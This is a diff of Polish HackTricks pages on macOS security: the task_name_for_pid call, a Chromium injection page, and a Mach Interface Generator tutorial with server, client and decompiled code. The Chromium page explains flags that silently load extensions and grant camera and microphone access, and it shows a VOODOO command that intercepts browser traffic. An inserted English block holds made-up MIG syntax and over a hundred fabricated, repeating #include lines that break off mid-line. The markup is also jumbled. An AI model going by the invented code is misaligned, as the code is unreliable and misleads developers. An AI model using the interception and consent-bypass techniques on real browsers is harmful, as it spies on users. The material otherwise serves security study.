W [**tym wpisie na blogu**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) można znaleźć informacje na temat tego, jak można użyć funkcji **`task_name_for_pid`** do uzyskania informacji o innych **procesach wstrzykujących kod w proces** i następnie uzyskania informacji o tym innym procesie.
W [**tym wpisie na blogu**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) można dowiedzieć się, jak można użyć funkcji **`task_name_for_pid`** do uzyskania informacji o innych **procesach wstrzykujących kod w proces** i uzyskania informacji o tym innym procesie.
Należy zauważyć, że aby wywołać tę funkcję, musisz mieć **ten sam uid** co proces uruchamiający lub **root** (a funkcja zwraca informacje o procesie, a nie sposób wstrzyknięcia kodu).
Należy zauważyć, że aby wywołać tę funkcję, musisz być **tym samym uid** co proces uruchamiający lub **root** (i zwraca informacje o procesie, a nie sposób wstrzyknięcia kodu).
## Odwołania
## Odnośniki
* [https://theevilbit.github.io/shield/](https://theevilbit.github.io/shield/)
* [https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)
@ -142,10 +150,10 @@ Należy zauważyć, że aby wywołać tę funkcję, musisz mieć **ten sam uid**
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* Uzyskaj [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFTów**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -0,0 +1,55 @@
# Wstrzykiwanie Chromium w macOS
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Podstawowe informacje
Przeglądarki oparte na Chromium, takie jak Google Chrome, Microsoft Edge, Brave i inne. Te przeglądarki są zbudowane na otwartym projekcie Chromium, co oznacza, że mają wspólną bazę i dlatego posiadają podobne funkcje i opcje dla programistów.
#### Flaga `--load-extension`
Flaga `--load-extension` jest używana podczas uruchamiania przeglądarki opartej na Chromium z wiersza poleceń lub skryptu. Ta flaga pozwala **automatycznie wczytać jedno lub więcej rozszerzeń** do przeglądarki podczas uruchamiania.
#### Flaga `--use-fake-ui-for-media-stream`
Flaga `--use-fake-ui-for-media-stream` to kolejna opcja wiersza poleceń, która może być używana do uruchamiania przeglądarek opartych na Chromium. Ta flaga jest przeznaczona do **omijania normalnych monitów użytkownika, które pytają o zgodę na dostęp do strumieni multimedialnych z kamery i mikrofonu**. Gdy jest używana ta flaga, przeglądarka automatycznie udziela zgody na dostęp do kamery lub mikrofonu dla każdej witryny lub aplikacji, która prosi o dostęp.
### Narzędzia
* [https://github.com/breakpointHQ/snoop](https://github.com/breakpointHQ/snoop)
* [https://github.com/breakpointHQ/VOODOO](https://github.com/breakpointHQ/VOODOO)
### Przykład
```bash
# Intercept traffic
voodoo intercept -b chrome
```
## Referencje
* [https://twitter.com/RonMasas/status/1758106347222995007](https://twitter.com/RonMasas/status/1758106347222995007)
<details>
<summary><strong>Naucz się hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>

View file

@ -6,15 +6,15 @@
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
MIG został stworzony, aby **uproszczać proces tworzenia kodu Mach IPC**. W zasadzie **generuje wymagany kod** dla serwera i klienta w celu komunikacji z określoną definicją. Nawet jeśli wygenerowany kod jest brzydki, programista będzie musiał go tylko zaimportować, a jego kod będzie znacznie prostszy niż wcześniej.
MIG został stworzony, aby **uproszczać proces tworzenia kodu Mach IPC**. W zasadzie **generuje wymagany kod** do komunikacji serwera i klienta z daną definicją. Nawet jeśli wygenerowany kod jest brzydki, programista będzie musiał go tylko zaimportować, a jego kod będzie znacznie prostszy niż wcześniej.
### Przykład
@ -37,13 +37,13 @@ n2 : uint32_t);
```
{% endcode %}
Teraz użyj mig, aby wygenerować kod serwera i klienta, które będą w stanie komunikować się między sobą, aby wywołać funkcję Odejmij:
Teraz użyj mig do wygenerowania kodu serwera i klienta, które będą mogły komunikować się między sobą, aby wywołać funkcję Odejmij:
```bash
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
```
W bieżącym katalogu zostanie utworzonych kilka nowych plików.
W plikach **`myipcServer.c`** i **`myipcServer.h`** znajduje się deklaracja i definicja struktury **`SERVERPREFmyipc_subsystem`**, która definiuje funkcję do wywołania na podstawie otrzymanego identyfikatora wiadomości (ustawiliśmy początkową liczbę na 500):
W plikach **`myipcServer.c`** i **`myipcServer.h`** znajdziesz deklarację i definicję struktury **`SERVERPREFmyipc_subsystem`**, która w zasadzie definiuje funkcję do wywołania na podstawie otrzymanego identyfikatora wiadomości (wskazaliśmy początkowy numer 500):
{% tabs %}
{% tab title="myipcServer.c" %}
@ -62,141 +62,35 @@ myipc_server_routine,
}
};
```
{% tab title="myipcServer.h" %}
{% endtab %}
{% tab title="myipcServer.h" %}
### macOS MIG (Mach Interface Generator)
MIG is a tool used to define inter-process communication (IPC) for macOS. It generates client and server-side code to handle messages sent between processes. MIG interfaces are defined in .defs files and compiled into C code using the `mig` compiler.
#### Example:
```c
#ifndef myipcServer_h
#define myipcServer_h
routine my_ipc_server_routine {
mach_msg_header_t Head;
mach_msg_type_t Type;
int data;
} InData;
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <mach/mach_error.h>
#include <servers/bootstrap.h>
#include <mach/mach_traps.h>
#include <mach/mach_types.h>
#include <mach/mach_init.h>
#include <mach/mach_port.h>
#include <mach/mach_interface.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_time.h>
#include <mach/mach_host.h>
#include <mach/mach_host_priv.h>
#include <mach/mach_host_server.h>
#include <mach/mach_host_user.h>
#include <mach/mach_host_reboot.h>
#include <mach/mach_host_special_ports.h>
#include <mach/mach_host_info.h>
#include <mach/mach_host_notify.h>
#include <mach/mach_host_security.h>
#include <mach/mach_host_policy.h>
#include <mach/mach_host_qos.h>
#include <mach/mach_host_ledger.h>
#include <mach/mach_host_statistics.h>
#include <mach/mach_host_vm_info.h>
#include <mach/mach_host_vm_priv.h>
#include <mach/mach_host_vm_ext.h>
#include <mach/mach_host_vm_prot.h>
#include <mach/mach_host_vm_behavior.h>
#include <mach/mach_host_vm_region.h>
#include <mach/mach_host_vm_wire.h>
#include <mach/mach_host_vm_purgable.h>
#include <mach/mach_host_vm_info_internal.h>
#include <mach/mach_host_vm_info_external.h>
#include <mach/mach_host_vm_info_shared.h>
#include <mach/mach_host_vm_info_compressed.h>
#include <mach/mach_host_vm_info_region.h>
#include <mach/mach_host_vm_info_region_internal.h>
#include <mach/mach_host_vm_info_region_external.h>
#include <mach/mach_host_vm_info_region_shared.h>
#include <mach/mach_host_vm_info_region_compressed.h>
#include <mach/mach_host_vm_info_region_purgable.h>
#include <mach/mach_host_vm_info_region_purgable_internal.h>
#include <mach/mach_host_vm_info_region_purgable_external.h>
#include <mach/mach_host_vm_info_region_purgable_shared.h>
#include <mach/mach_host_vm_info_region_purgable_compressed.h>
#include <mach/mach_host_vm_info_region_purgable_wired.h>
#include <mach/mach_host_vm_info_region_purgable_unwired.h>
#include <mach/mach_host_vm_info_region_purgable_volatile.h>
#include <mach/mach_host_vm_info_region_purgable_nonvolatile.h>
#include <mach/mach_host_vm_info_region_purgable_empty.h>
#include <mach/mach_host_vm_info_region_purgable_killed.h>
#include <mach/mach_host_vm_info_region_purgable_zf.h>
#include <mach/mach_host_vm_info_region_purgable_reusable.h>
#include <mach/mach_host_vm_info_region_purgable_nonreusable.h>
#include <mach/mach_host_vm_info_region_purgable_dontdump.h>
#include <mach/mach_host_vm_info_region_purgable_nolock.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_internal.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_external.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_shared.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_compressed.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_wired.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_unwired.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_volatile.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nonvolatile.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_empty.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_killed.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_zf.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_reusable.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nonreusable.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_dontdump.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_internal.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_external.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_shared.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_compressed.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_wired.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_unwired.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_volatile.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nonvolatile.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_empty.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_killed.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_zf.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_reusable.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nonreusable.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_dontdump.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_internal.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_external.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_shared.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_compressed.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_wired.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_unwired.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_volatile.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nonvolatile.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_empty.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_killed.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_zf.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_reusable.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nonreusable.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_dontdump.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nolock.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nolock_internal.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nolock_external.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nolock_shared.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nolock_compressed.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nolock_wired.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nolock_unwired.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nolock_volatile.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nolock_nonvolatile.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nolock_empty.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nolock_killed.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nolock_zf.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nolock_reusable.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nolock_nonreusable.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nolock_dontdump.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nolock_nolock.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nolock_nolock_internal.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nolock_nolock_external.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nolock_nolock_shared.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nolock_nolock_compressed.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nolock_nolock_wired.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nolock_nolock_unwired.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nolock_nolock_volatile.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock_nolock_nolock_nonvolatile.h>
#include <mach/mach_host_vm_info_region_purgable_nolock_nolock_nolock
routine my_ipc_server_routine {
mach_msg_header_t Head;
mach_msg_type_t Type;
int data;
} OutData;
```
In the example above, `my_ipc_server_routine` is a MIG routine that defines the structure of the messages exchanged between the client and server processes.
MIG is commonly used in macOS for system services and kernel extensions to define communication interfaces. Understanding MIG can be beneficial for privilege escalation and security research on macOS systems.
{% endtab %}
```c
/* Description of this subsystem, for use in direct RPC */
extern const struct SERVERPREFmyipc_subsystem {
@ -227,16 +121,16 @@ return 0;
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
}
```
W tym przykładzie zdefiniowaliśmy tylko 1 funkcję w definicjach, ale gdybyśmy zdefiniowali więcej funkcji, byłyby one umieszczone w tablicy **`SERVERPREFmyipc_subsystem`**, a pierwsza z nich zostałaby przypisana do ID **500**, druga do ID **501**...
W tym przykładzie zdefiniowaliśmy tylko 1 funkcję w definicjach, ale gdybyśmy zdefiniowali więcej funkcji, znajdowałyby się one w tablicy **`SERVERPREFmyipc_subsystem`**, a pierwsza zostałaby przypisana do ID **500**, druga do ID **501**...
Tak naprawdę można zidentyfikować tę relację w strukturze **`subsystem_to_name_map_myipc`** z pliku **`myipcServer.h`**:
Tak naprawdę możliwe jest zidentyfikowanie tej relacji w strukturze **`subsystem_to_name_map_myipc`** z pliku **`myipcServer.h`**:
```c
#ifndef subsystem_to_name_map_myipc
#define subsystem_to_name_map_myipc \
{ "Subtract", 500 }
#endif
```
Wreszcie, kolejną ważną funkcją, która sprawi, że serwer będzie działać, będzie **`myipc_server`**, która właściwie **wywoła funkcję** związaną z otrzymanym identyfikatorem:
Ostatecznie, kolejną ważną funkcją, która sprawi, że serwer będzie działać, będzie **`myipc_server`**, która faktycznie **wywoła funkcję** związaną z otrzymanym identyfikatorem:
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
@ -270,9 +164,9 @@ return FALSE;
}
</code></pre>
Sprawdź wcześniej wyróżnione linie, które odnoszą się do funkcji, które mają być wywołane na podstawie identyfikatora.
Sprawdź wcześniej wyróżnione linie uzyskujące dostęp do funkcji do wywołania według identyfikatora.
Poniżej znajduje się kod do utworzenia prostego **serwera** i **klienta**, gdzie klient może wywołać funkcje Odejmowanie na serwerze:
Poniżej znajduje się kod tworzący prosty **serwer** i **klient**, gdzie klient może wywoływać funkcje Odejmowanie z serwera:
{% tabs %}
{% tab title="myipc_server.c" %}
@ -306,52 +200,9 @@ return 1;
mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsystem), port, MACH_MSG_TIMEOUT_NONE);
}
```
{% tab title="myipc_client.c" %}
```c
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <mach/message.h>
#include <servers/bootstrap.h>
#define SERVER_NAME "com.example.myipc_server"
int main() {
kern_return_t kr;
mach_port_t server_port;
char message[256] = "Hello, server!";
mach_msg_header_t *msg = (mach_msg_header_t *)message;
// Look up the server port
kr = bootstrap_look_up(bootstrap_port, SERVER_NAME, &server_port);
if (kr != KERN_SUCCESS) {
printf("Failed to look up server port: %s\n", mach_error_string(kr));
exit(1);
}
// Set up the message header
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
msg->msgh_size = sizeof(message);
msg->msgh_remote_port = server_port;
msg->msgh_local_port = MACH_PORT_NULL;
msg->msgh_reserved = 0;
msg->msgh_id = 0;
// Send the message
kr = mach_msg(msg, MACH_SEND_MSG, msg->msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {
printf("Failed to send message: %s\n", mach_error_string(kr));
exit(1);
}
printf("Message sent to server!\n");
return 0;
}
```
{% endtab %}
{% tab title="myipc_client.c" %} {% endtab %}
```c
// gcc myipc_client.c myipcUser.c -o myipc_client
@ -376,18 +227,15 @@ printf("Port right name %d\n", port);
USERPREFSubtract(port, 40, 2);
}
```
{% endtab %}
{% endtabs %}
### Analiza binarna
Ponieważ wiele plików binarnych teraz używa MIG do eksponowania portów mach, interesujące jest wiedzieć, jak **zidentyfikować, że został użyty MIG** oraz **funkcje, które MIG wykonuje** przy każdym identyfikatorze wiadomości.
Ponieważ wiele plików binarnych teraz używa MIG do ujawniania portów mach, interesujące jest wiedzieć, jak **zidentyfikować, że został użyty MIG** oraz **funkcje, które MIG wykonuje** z każdym identyfikatorem wiadomości.
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) może analizować informacje MIG z pliku binarnego Mach-O, wskazując identyfikator wiadomości i identyfikując funkcję do wykonania:
```bash
jtool2 -d __DATA.__const myipc_server | grep MIG
```
Wcześniej wspomniano, że funkcja, która będzie odpowiedzialna za **wywołanie odpowiedniej funkcji w zależności od otrzymanego identyfikatora wiadomości**, to `myipc_server`. Jednak zazwyczaj nie będziesz mieć symboli binarnych (brak nazw funkcji), więc interesujące jest **sprawdzenie, jak wygląda zdekompilowana wersja**, ponieważ zawsze będzie bardzo podobna (kod tej funkcji jest niezależny od funkcji wystawionych):
Wcześniej wspomniano, że funkcją, która będzie odpowiedzialna za **wywołanie odpowiedniej funkcji w zależności od otrzymanego identyfikatora wiadomości**, będzie `myipc_server`. Jednak zazwyczaj nie będziesz mieć symboli binarnych (nazw funkcji), więc interesujące jest **sprawdzenie, jak wygląda zdekompilowany kod**, ponieważ zawsze będzie bardzo podobny (kod tej funkcji jest niezależny od funkcji wystawionych):
{% tabs %}
{% tab title="myipc_server zdekompilowany 1" %}
@ -403,20 +251,20 @@ var_18 = arg1;
*(int32_t *)(var_18 + 0x10) = 0x0;
if (*(int32_t *)(var_10 + 0x14) &#x3C;= 0x1f4 &#x26;&#x26; *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
rax = *(int32_t *)(var_10 + 0x14);
// Wywołanie sign_extend_64, które może pomóc zidentyfikować tę funkcję
// To zapisuje w rax wskaźnik do wywołania, które trzeba wywołać
// Wywołanie sign_extend_64, które pomaga zidentyfikować tę funkcję
// To przechowuje w rax wskaźnik do wywołania, które trzeba wywołać
// Sprawdź użycie adresu 0x100004040 (tablica adresów funkcji)
// 0x1f4 = 500 (początkowy identyfikator)
// 0x1f4 = 500 (początkowy ID)
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
</strong> var_20 = rax;
// If - else, jeśli if zwraca false, a else wywołuje odpowiednią funkcję i zwraca true
// Warunek if-else, jeśli warunek if jest fałszywy, a else wywołuje odpowiednią funkcję i zwraca true
<strong> if (rax == 0x0) {
</strong> *(var_18 + 0x18) = **_NDR_record;
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
var_4 = 0x0;
}
else {
// Obliczony adres, który wywołuje odpowiednią funkcję z 2 argumentami
// Obliczony adres wywołujący odpowiednią funkcję z 2 argumentami
<strong> (var_20)(var_10, var_18);
</strong> var_4 = 0x1;
}
@ -433,7 +281,7 @@ return rax;
{% endtab %}
{% tab title="myipc_server zdekompilowany 2" %}
To jest ta sama funkcja zdekompilowana w innej wersji Hopper free:
To ta sama funkcja zdekompilowana w innej wersji Hopper free:
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
r31 = r31 - 0x40;
@ -465,7 +313,7 @@ r8 = 0x1;
}
if ((r8 &#x26; 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
// 0x1f4 = 500 (początkowy identyfikator)
// 0x1f4 = 500 (początkowy ID)
<strong> r8 = r8 - 0x1f4;
</strong> asm { smaddl x8, w8, w9, x10 };
r8 = *(r8 + 0x8);
@ -476,7 +324,7 @@ if (CPU_FLAGS &#x26; NE) {
r8 = 0x1;
}
}
// To samo if else co w poprzedniej wersji
// To samo if-else co w poprzedniej wersji
// Sprawdź użycie adresu 0x100004040 (tablica adresów funkcji)
<strong> if ((r8 &#x26; 0x1) == 0x0) {
</strong><strong> *(var_18 + 0x18) = **0x100004000;
@ -508,14 +356,12 @@ return r0;
{% endtab %}
{% endtabs %}
W rzeczywistości, jeśli przejdziesz do funkcji **`0x100004000`**, znajdziesz tablicę struktur **`routine_descriptor`**. Pierwszy element struktury to **adres**, gdzie jest zaimplementowana **funkcja**, a **struktura zajmuje 0x28 bajtów**, więc co 0x28 bajtów (zaczynając od bajtu 0) można uzyskać 8 bajtów, które będą **adresem funkcji**, która zostanie wywołana:
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Faktycznie, jeśli przejdziesz do funkcji **`0x100004000`**, znajdziesz tablicę struktur **`routine_descriptor`**. Pierwszy element struktury to **adres**, gdzie jest zaimplementowana **funkcja**, a **struktura zajmuje 0x28 bajtów**, więc co 0x28 bajtów (zaczynając od bajtu 0) można uzyskać 8 bajtów, które będą **adresem funkcji**, która zostanie wywołana:
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Te dane można wyodrębnić [**korzystając z tego skryptu Hoppera**](https://github.com/knightsc/hopper
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy Telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytoriów** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
</details>
Te dane można wyodrębnić [**korzystając z tego skryptu Hoppera**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **na GitHubie.**

View file

@ -2,27 +2,27 @@
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
